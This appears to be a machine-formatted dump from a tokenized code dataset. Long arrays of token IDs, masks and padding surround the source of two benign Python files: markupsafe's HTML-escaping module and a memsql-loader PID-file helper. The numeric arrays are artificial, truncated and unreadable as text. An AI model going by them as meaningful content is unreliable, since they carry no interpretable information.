22385, 959, 14, 21, 18417, 436, 199, 64, 86, 22385, 1227, 14, 16, 32578, 199, 199, 703, 485, 86, 22385, 959, 14, 21, 26, 1455, 921, 5645, 83, 14, 18970, 14, 957, 15, 86, 14980, 13, 1229, 15, 1080, 14, 74, 681, 3, 957, 14, 18970, 14, 86, 2764, 14, 362, 928, 14, 1301, 15, 2764, 63, 3174, 14, 20, 14, 18, 14, 1360, 199, 703, 485, 86, 22385, 1227, 14, 16, 26, 1455, 921, 5645, 83, 14, 18970, 14, 957, 15, 86, 14980, 13, 2259, 15, 1080, 14, 74, 681, 3, 957, 14, 18970, 14, 86, 2764, 14, 362, 928, 14, 1301, 15, 2764, 63, 3174, 14, 20, 14, 18, 14, 1360, 199, 199, 25690, 1006, 402, 314, 1415, 5124, 787, 315, 4192, 436, 314, 373, 7802, 2559, 365, 199, 7657, 12, 1265, 883, 1104, 370, 1937, 340, 1265, 883, 4907, 370, 2195, 10427, 14828, 1591, 503, 373, 13551, 199, 1000, 701, 3879, 314, 2569, 1414, 26, 199, 199, 703, 1233, 13, 1457, 447, 20387, 339, 9455, 1812, 317, 446, 83, 665, 1102, 13, 1985, 30, 446, 85, 665, 2473, 30, 446, 80, 665, 2060, 30, 2656, 22112, 1101, 664, 199, 199, 3917, 314, 1950, 1990, 9512, 12, 10427, 56, 7802, 1990, 8792, 4903, 641, 2195, 2656, 14, 199, 5556, 1077, 1937, 1072, 4048, 370, 314, 10427, 14828, 1591, 1159, 22112, 2897, 14, 421, 199, 5688, 199, 9152, 199, 1378, 675, 642, 13150, 4566, 859, 12, 8749, 7908, 314, 2569, 26, 199, 199, 48, 778, 285, 199, 8648, 199, 199, 4936, 1748, 15293, 664, 3932, 2897, 687, 428, 4478, 1159, 510, 778, 285, 14, 18414, 4566, 1471, 199, 7804, 282, 24267, 315, 510, 778, 285, 436, 282, 3659, 315, 314, 510, 778, 285, 2746, 13, 493, 626, 4450, 199, 1589, 2870, 14, 2854, 282, 7481, 367, 23506, 543, 314, 10427, 14828, 1591, 12, 314, 299, 778, 285, 1077, 199, 11660, 2839, 642, 26, 199, 199, 703, 1233, 13, 1457, 447, 8864, 339, 4566, 26, 489, 4566, 466, 26, 9455, 6865, 489, 1591, 26, 665, 711, 503, 6715, 536, 402, 9455, 6865, 1591, 30, 489, 3434, 26, 665, 654, 14828, 3434, 30, 489, 19572, 26, 267, 446, 1642, 63, 2060, 267, 446, 3499, 63, 2060, 267, 446, 10919, 63, 2060, 199, 199, 3280, 466, 199, 19628, 19628, 62, 199, 1918, 1124, 3280, 466, 1040, 790, 436, 574, 4092, 365, 19698, 12, 465, 652, 26544, 428, 4478, 1314, 199, 3266, 370, 2248, 687, 314, 1124, 3280, 1040, 2082, 315, 428, 4478, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
hamish/SmeltCMS
packages/markupsafe/_native.py
1243
1187
# -*- coding: utf-8 -*- """ markupsafe._native ~~~~~~~~~~~~~~~~~~ Native Python implementation the C module is not compiled. :copyright: (c) 2010 by Armin Ronacher. :license: BSD, see LICENSE for more details. """ from markupsafe import Markup from markupsafe._compat import text_type def escape(s): """Convert the characters &, <, >, ' and " in string s to HTML-safe sequences. Use this if you need to display text that might contain such characters in HTML. Marks return value as markup string. """ if hasattr(s, '__html__'): return s.__html__() return Markup(text_type(s) .replace('&', '&amp;') .replace('>', '&gt;') .replace('<', '&lt;') .replace("'", '&#39;') .replace('"', '&#34;') ) def escape_silent(s): """Like :func:`escape` but converts `None` into an empty markup string. """ if s is None: return Markup() return escape(s) def soft_unicode(s): """Make a string unicode if it isn't already. That way a markup string is not converted back to unicode. """ if not isinstance(s, text_type): s = text_type(s) return s
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 9189, 3489, 423, 6106, 272, 18294, 1714, 339, 653, 1905, 2018, 4514, 314, 445, 859, 365, 440, 10311, 14, 339, 520, 7307, 26, 334, 67, 9, 7129, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 504, 9189, 3489, 492, 17504, 199, 504, 9189, 3489, 423, 5819, 492, 1318, 63, 466, 421, 199, 318, 4772, 8, 83, 304, 272, 408, 7306, 314, 4110, 17181, 665, 12, 11623, 283, 436, 298, 315, 1059, 308, 370, 4163, 13, 3489, 272, 8013, 14, 221, 3645, 642, 340, 1265, 1929, 370, 2929, 1318, 626, 5594, 1395, 272, 4066, 4110, 315, 4163, 14, 221, 7173, 83, 372, 574, 465, 9189, 1059, 14, 272, 408, 272, 340, 2688, 8, 83, 12, 2560, 1360, 12168, 267, 372, 308, 855, 1360, 4533, 272, 372, 17504, 8, 505, 63, 466, 8, 83, 9, 267, 1275, 1814, 360, 16749, 7673, 5282, 10784, 267, 1275, 1814, 360, 4206, 7673, 3308, 10784, 267, 1275, 1814, 4827, 297, 7673, 4116, 10784, 267, 1275, 1814, 27769, 7673, 3, 1355, 10784, 267, 1275, 1814, 20630, 7673, 3, 1082, 10784, 272, 776, 421, 199, 318, 4772, 63, 14434, 8, 83, 304, 272, 408, 12545, 520, 1532, 1705, 3765, 64, 1325, 15373, 658, 403, 64, 1901, 376, 2701, 272, 9189, 1059, 14, 272, 408, 272, 340, 308, 365, 488, 26, 267, 372, 17504, 342, 272, 372, 4772, 8, 83, 9, 421, 199, 318, 11620, 63, 2975, 8, 83, 304, 272, 408, 5483, 282, 1059, 2649, 340, 652, 5712, 1133, 2575, 14, 221, 10314, 4340, 282, 9189, 272, 1059, 365, 440, 6702, 1771, 370, 2649, 14, 272, 408, 272, 340, 440, 1228, 8, 83, 12, 1318, 63, 466, 304, 267, 308, 275, 1318, 63, 466, 8, 83, 9, 272, 372, 308, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 9189, 3489, 423, 6106, 272, 18294, 1714, 339, 653, 1905, 2018, 4514, 314, 445, 859, 365, 440, 10311, 14, 339, 520, 7307, 26, 334, 67, 9, 7129, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 504, 9189, 3489, 492, 17504, 199, 504, 9189, 3489, 423, 5819, 492, 1318, 63, 466, 421, 199, 318, 4772, 8, 83, 304, 272, 408, 7306, 314, 4110, 17181, 665, 12, 11623, 283, 436, 298, 315, 1059, 308, 370, 4163, 13, 3489, 272, 8013, 14, 221, 3645, 642, 340, 1265, 1929, 370, 2929, 1318, 626, 5594, 1395, 272, 4066, 4110, 315, 4163, 14, 221, 7173, 83, 372, 574, 465, 9189, 1059, 14, 272, 408, 272, 340, 2688, 8, 83, 12, 2560, 1360, 12168, 267, 372, 308, 855, 1360, 4533, 272, 372, 17504, 8, 505, 63, 466, 8, 83, 9, 267, 1275, 1814, 360, 16749, 7673, 5282, 10784, 267, 1275, 1814, 360, 4206, 7673, 3308, 10784, 267, 1275, 1814, 4827, 297, 7673, 4116, 10784, 267, 1275, 1814, 27769, 7673, 3, 1355, 10784, 267, 1275, 1814, 20630, 7673, 3, 1082, 10784, 272, 776, 421, 199, 318, 4772, 63, 14434, 8, 83, 304, 272, 408, 12545, 520, 1532, 1705, 3765, 64, 1325, 15373, 658, 403, 64, 1901, 376, 2701, 272, 9189, 1059, 14, 272, 408, 272, 340, 308, 365, 488, 26, 267, 372, 17504, 342, 272, 372, 4772, 8, 83, 9, 421, 199, 318, 11620, 63, 2975, 8, 83, 304, 272, 408, 5483, 282, 1059, 2649, 340, 652, 5712, 1133, 2575, 14, 221, 10314, 4340, 282, 9189, 272, 1059, 365, 440, 6702, 1771, 370, 2649, 14, 272, 408, 272, 340, 440, 1228, 8, 83, 12, 1318, 63, 466, 304, 267, 308, 275, 1318, 63, 466, 8, 83, 9, 272, 372, 308, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
memsql/memsql-loader
memsql_loader/util/servers.py
1
1107
import atexit import errno import os from memsql_loader.util import paths def get_pid_file_path(): return os.path.join(paths.get_data_dir(), "memsql-loader.pid") def delete_pid_file(): try: os.remove(get_pid_file_path()) except Exception: pass def write_pid_file(): atexit.register(delete_pid_file) with open(get_pid_file_path(), 'w') as f: f.write("%s\n" % os.getpid()) def get_server_pid(): try: with open(get_pid_file_path(), 'r') as f: return int(f.read().strip()) except IOError as e: if e.errno == errno.ENOENT: return None raise def is_server_running(): pid = get_server_pid() if pid is None: return False try: # This call will succeed and do nothing if the process exists, # and it will raise an exception if the process does not exist. os.kill(pid, 0) return True except OSError as e: # This means that the process exists, but is not owned by us. if e.errno == errno.EPERM: return True return False
apache-2.0
[ 646, 19840, 199, 646, 7554, 199, 646, 747, 199, 199, 504, 562, 706, 1710, 63, 3422, 14, 1974, 492, 3792, 199, 199, 318, 664, 63, 3150, 63, 493, 63, 515, 837, 272, 372, 747, 14, 515, 14, 904, 8, 3771, 14, 362, 63, 576, 63, 694, 1062, 298, 278, 706, 1710, 13, 3422, 14, 3150, 531, 199, 199, 318, 3145, 63, 3150, 63, 493, 837, 272, 862, 26, 267, 747, 14, 2168, 8, 362, 63, 3150, 63, 493, 63, 515, 1012, 272, 871, 2186, 26, 267, 986, 199, 199, 318, 2218, 63, 3150, 63, 493, 837, 272, 19840, 14, 2683, 8, 1807, 63, 3150, 63, 493, 9, 339, 543, 1551, 8, 362, 63, 3150, 63, 493, 63, 515, 1062, 283, 87, 358, 465, 289, 26, 267, 289, 14, 952, 3647, 83, 60, 78, 2, 450, 747, 14, 17829, 1012, 199, 199, 318, 664, 63, 1000, 63, 3150, 837, 272, 862, 26, 267, 543, 1551, 8, 362, 63, 3150, 63, 493, 63, 515, 1062, 283, 82, 358, 465, 289, 26, 288, 372, 1109, 8, 70, 14, 739, 1252, 1913, 1012, 272, 871, 5925, 465, 325, 26, 267, 340, 325, 14, 7931, 508, 7554, 14, 20465, 26, 288, 372, 488, 267, 746, 199, 199, 318, 365, 63, 1000, 63, 5720, 837, 272, 4422, 275, 664, 63, 1000, 63, 3150, 342, 272, 340, 4422, 365, 488, 26, 267, 372, 756, 272, 862, 26, 267, 327, 961, 1240, 911, 17961, 436, 886, 6548, 340, 314, 2112, 3495, 12, 267, 327, 436, 652, 911, 746, 376, 1919, 340, 314, 2112, 1630, 440, 2187, 14, 267, 747, 14, 8997, 8, 3150, 12, 378, 9, 267, 372, 715, 272, 871, 6440, 465, 325, 26, 267, 327, 961, 4910, 626, 314, 2112, 3495, 12, 1325, 365, 440, 23191, 701, 2739, 14, 267, 340, 325, 14, 7931, 508, 7554, 14, 37, 29065, 26, 288, 372, 715, 267, 372, 756, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 